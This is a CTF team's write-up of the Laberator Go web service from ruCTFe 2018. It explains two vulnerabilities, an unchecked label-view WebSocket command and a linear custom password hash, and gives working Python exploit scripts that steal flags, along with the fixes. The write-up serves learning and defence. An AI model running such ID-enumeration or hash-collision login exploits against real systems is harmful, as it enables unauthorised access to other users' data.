Saarsec

saarsec

Schwenk and pwn

ruCTFe 2018 WriteUp Laberator

Laberator was a web-service written in Golang which allowed users to register and create labels, kind of like a notepad. It used the HTTP server of the standard library in conjunction with the WebSockets library of the gorilla web toolkit. After taking a quick look at the page itself to get a general overview of what the service is capable of, we started looking at the handlers which the mux contained. At this point, we were already sure that flags would probably only be stored in labels and/or phrases since the newest usernames were publicly visible through the website (and thus an API).

 http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))
 http.HandleFunc("/", Main)
 http.HandleFunc("/cmdexec", ProcessCommand)
 http.HandleFunc("/create\_page", CreatePage)
 http.HandleFunc("/favicon.ico", func(writer http.ResponseWriter, request *http.Request) {})
 http.HandleFunc("/phrase", PhrasePage)
 http.HandleFunc("/listing", ListingPage)
 http.HandleFunc("/login", Login)
 http.HandleFunc("/logout", Logout)
 http.HandleFunc("/register", Register)
 http.HandleFunc("/register_page", RegisterPage)
 http.HandleFunc("/labels/", ViewLabel)

We immediately noticed the /cmdexec path of which the name indicated it to be pretty interesting. When looking at the command_executor file, we found multiple commands which could be sent to this API through a WebSocket connection. Interestingly enough, all commands only checked for the validity of the session.

Flaw #1: Authentication is important

This was interesting since there was an API command which allowed us to view labels by passing an ID to identify which label we want to get. Since these label IDs where simply an incrementing integer in the database backend it was possible to iterate over all created labels as long as you have a valid session. The code did not check if you were authorized to request these labels. Since the API uses WebSockets, the cookie containing the session ID was transmitted in the JSON which in turn was parsed by the server and then validated against the database backend.

"view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
    var viewData ViewData
    err := json.Unmarshal(data, &viewData)
    if err != nil {
        return nil, createUnmarshallingError(err, data)
    }
    cookies := parseCookies(viewData.RawCookies)
    ok, _ := ex.sm.ValidateSession(cookies)
    if !ok {
        return nil, errors.New("invalid session")
    }
    label, err := ex.dbApi.ViewLabel(viewData.LabelId)
    if err != nil {
        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
    }
    rawLabel, err := json.Marshal(*label)
    if err != nil {
        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
    }
    return rawLabel, nil
}

This allowed us to write a simple exploit. We start by registering a new user with the help of requests. We then get the cookies from that session and save their values. After that, we initiate a WebSocket connection and send a create command which in turn allowed us to get the ID for the created label by requesting the list API.

def exploit(target):
    with requests.session() as sess:
        getparams = {
              'login': random_string(),
              'password': b64encode(random_string()),
              'phrase': b64encode(random_string())}
        req = sess.get('http://' + target + ':8888' + '/register', params=getparams, timeout=5)
        login = sess.cookies["login"]
        sid = sess.cookies["sid"]

        ws = create_connection("ws://%s:8888/cmdexec" % target)
        create = {"Command": "create", 
                  "Data": 
                    {"Text": "JVTFT9CAQBDJTK0W7YI82BCFE622EFE=", 
                     "RawCookies": "login=%s; sid=%s" % (login, sid), 
                     "Font": "Cutive", 
                     "Size": 19}
                 }
        ws.send(json.dumps(create))
        ws.close()
        ws = create_connection("ws://%s:8888/cmdexec" % (target))
        list = {"Command": "list",
                "Data": 
                    {"Offset": 0, 
                     "RawCookies": "login=%s; sid=%s" % (login, sid)},
               }
        ws.send(json.dumps(list))
        listing = ws.recv()
        id = json.loads(listing)[0]["ID"]
        ws.close()

All that was left was to exploit the vulnerability by iterating over the IDs of the labels which are smaller than the one we found. To make this a little more efficient, we stored the ID from the prior exploit run in redis and used it as the starting ID for the next run.

    last_id = redisget("%s_lab" % target)
    if not last_id:
        last_id = id - 50
    redisset("%s_lab" % target, id)
    for i in range(last_id, id):
        ws = create_connection("ws://%s:8888/cmdexec" % target)
        data = {"Command":"view",
                "Data":
                 {"LabelId": i,
                  "RawCookies": "login=%s; sid=%s" % (login, sid)}
               }
        try:
            ws.send(json.dumps(data))
            result = ws.recv()
            print result
            ws.close()
        except Exception as ignored:
            pass

Since labels should only be visible for their respective owners, merely adding the owner of the label to the query which was used fixed the vulnerability but did not change the functionality of the service. We took the owner from the session cookie which was validated beforehand and exchanged the call to ViewLabel with our patched function which simply inserted the owner in the query to the database.

    func (api *DBApi) SecureViewLabel(labelId uint, owner string) (*Label, error) {
        var labels []Label
        api.db.Where("id = ? and owner = ?", labelId, owner).Find(&labels)
        if len(labels) != 1 {
            return nil, errors.New(fmt.Sprintf("len(labels with id=%v) = %v", labelId, len(labels)))
        }
        return &labels[0], nil
    }
    

Flaw #2: Rolling custom hashes

Finding the second vulnerability proofed to be a bit more tricky. In the beginning, we noticed parts using a library called fast-hash. We did not take a closer look at it since we found the first vulnerability but after writing the exploit, we came back to this. When looking at the repository, our suspicions were quickly supported since it was only one day old. We then started looking at the code and the assembly in the repository to find the vulnerability. Shortly after, we saw an exploit used against us which seemed to forge session IDs. After taking a closer look, it turned out that the exploit was able to login to other accounts without using the password that was used to register that user. This once again proved our suspicions against the hash function since it was used to verify the password and login users.

 1    
 2 func (api *DBApi) Validate(login, password *string) bool {
 3     var users []User
 4     api.db.Where("Login = ?", login).Find(&users)
 5     if len(users) != 1 {
 6         return false
 7     }
 8     decodedPassword, err := base64.StdEncoding.DecodeString(*password)
 9     if err != nil {
10         return false
11     }
12     passwordHash := hasher.GetHash(decodedPassword)
13     if bytes.Equal(users[0].PasswordHash, passwordHash[:]) {
14         return true
15     }
16     return false
17 }

So in essence, somehow the computation in line 29 yielded the same hash for the password hash that was stored in our database. This meant as soon as we understood how the hash function worked we would be able to write an exploit which can log in as every user and check the phrase as well as the label for flags. So, we’ll spare you the details of the binary, but algorithm is shown below in Python (excuse the Python clusterfuck, this was written during the CTF in a hurry):

1 def make_hash(data):
2     out_buffer = [0 for _ in xrange(16)]
3     for i in xrange(0, len(data), 16):
4         for j in xrange(0, 16):
5             out_buffer[(i + j) % 16] += ord(data[(i + j)]
6             out_buffer[(i + j) % 16] %= 256
7     return "".join([chr(x) for x in out_buffer])

Naturally, this does not match the implementation in the binary (that was a bit less obvious due the usage of one long buffer). Essentially, while this algorithm looks a bit involved, it is quite trivial: first, the value to hash is padded to a multi of 16 bytes (not shown here). Initially, the resulting hash is 16 0-bytes (line 2). Then for each 16-byte block of data, we add the ASCII value of the n-th character in that block to the n-th entry in the hash. (line 5). As these were addressed as bytes in the binary, we have to ensure that our implementation properly overflows this (hence the modulo in line 6). This shows us two things:

1) The string AAAAAAAAAAAAAAAAB will be hashed to the same value as BAAAAAAAAAAAAAAAA, as it makes no difference if you add A to B or vice versa.

2) If we input a 16 byte long value, the hash function will literally do nothing. It will just return the input value (so, a 16-byte string is its own pre-image)

From looking at the service, we know that cmdexec has an option to get the last users (which was also used by the gameserver to check that his users were properly added). If we send {"Data": "{}", "Command": "last_users"}, the server answers with a list of the latest users; including their PasswordHash: {"ID":4,"Login":"Benton_63428390305056521428","PasswordHash":"5NPCrqbCgJetpnyqUW+GNA==","Phrase":{"ID":0,"Value":""},"PhraseID":4} . The password hash is base64-encoded, but it is in fact the 16 bytes output of the above hash function. Hence, one attack is very trivial: take PasswordHash value as the password. Since it is already 16 bytes, the hash function will just return the PasswordHash again. As this is stored in the server, you are logged in.

However, we must assume that others team have a setup to understand what is happening on the wire. This exploit is super obvious; you would get the hash and send it back to the server and be logged in. This exploit is then trivial to copy and we don’t want to yield our advantage here (and so did the other teams who attacked us).

Instead, our exploit abused the fact that each n-th byte in the input will linearly influence the n-th byte of the hash. So, our exploit worked as follows: generate a hash for a password that we know, which consists of 32 A. (line 27) Then, knowing the hash of this fixed password and the password of the user we want to attack, we calculate what we need to subtract (calc_delta, line 29), and then apply the results (apply_delta, line 30) on the first 16 A, and voila, we have the same hash :-)

And in case you are worrying: yes, we used assertions in the stress of a CTF :)

 1 def calc_delta(a, b):
 2     assert (len(a) == len(b)), (len(a), len(b))
 3     output = []
 4     for i in xrange(len(a)):
 5         output.append((ord(a[i]) - ord(b[i])) % 256)
 6     return output
 7 
 8 
 9 def apply_delta(a, delta):
10     assert (len(a) == len(delta))
11     output = []
12     for i in xrange(len(a)):
13         output.append(chr((ord(a[i]) - delta[i]) % 256))
14     return "".join(output)
15 
16 def exploit(ip):
17     ws = create_connection("ws://%s:8888/cmdexec" % ip, timeout=3)
18     last_users = {"Command": "last_users"}
19     ws.send(json.dumps(last_users))
20     result = ws.recv()
21     results = json.loads(result)
22 
23     for user in results:
24         if not re.match("^[A-Za-z]+_[0-9]+$", user["Login"]):
25             continue
26          actual_password = user["PasswordHash"]
27          hashed_password = mask_hash("A" * 32)
28 
29          delta = calc_delta(hashed_password, actual_password.decode("base64"))
30          pass_coll = apply_delta("AAAAAAAAAAAAAAAA", delta) + "AAAAAAAAAAAAAAAA"
31 
32          with requests.Session() as sess:
33 
34             getparams = {
35                 'login': user["Login"],
36                 'password': b64encode(pass_coll)}
37 
38             req = sess.head('http://' + ip + ':8888' + '/login', params=getparams, timeout=5)
39             sid = sess.cookies["sid"]
40             # Flags from phrase
41             res = sess.get('http://' + ip + ':8888' + '/phrase', timeout=5)
42             print res.text

Once again the fix was trivial. Exchanging the call to the vulnerable hash function with a secure one (e.g., SHA-256) fixed the vulnerability without changing the functionality of the service.

We scored something around 8000 flags with this exploit (and around 7300 with the first one). The second one would have been much more effective if we did not have to compete with other teams. As session IDs were generated using a fresh salt every time, at the same time invalidating the old salt, we had to be fast enough to get the session ID and use it right after (hence, the head when logging in; every single byte matters).

Discussion

All in all this service was pretty fun with a straightforward vulnerability and one which took a little more work to find. If it had not taken us so long to get the first exploit to work, we might have had a chance to get first blood here. Loosing quite a few flags might look weird, since fixing the vulnerabilities was very easy in both cases, but we tried finishing our exploits first which meant there was a pretty big delta between finding the vulnerability and getting to fix it. There was one caveat with this service though: the game server depended on the last_users API to check the functionality, but since most exploits generated new users it was not able to find it’s own users and thus flagged services as corrupt. This problem persisted until the end of the CTF even though we periodically incremented the number of users we returned.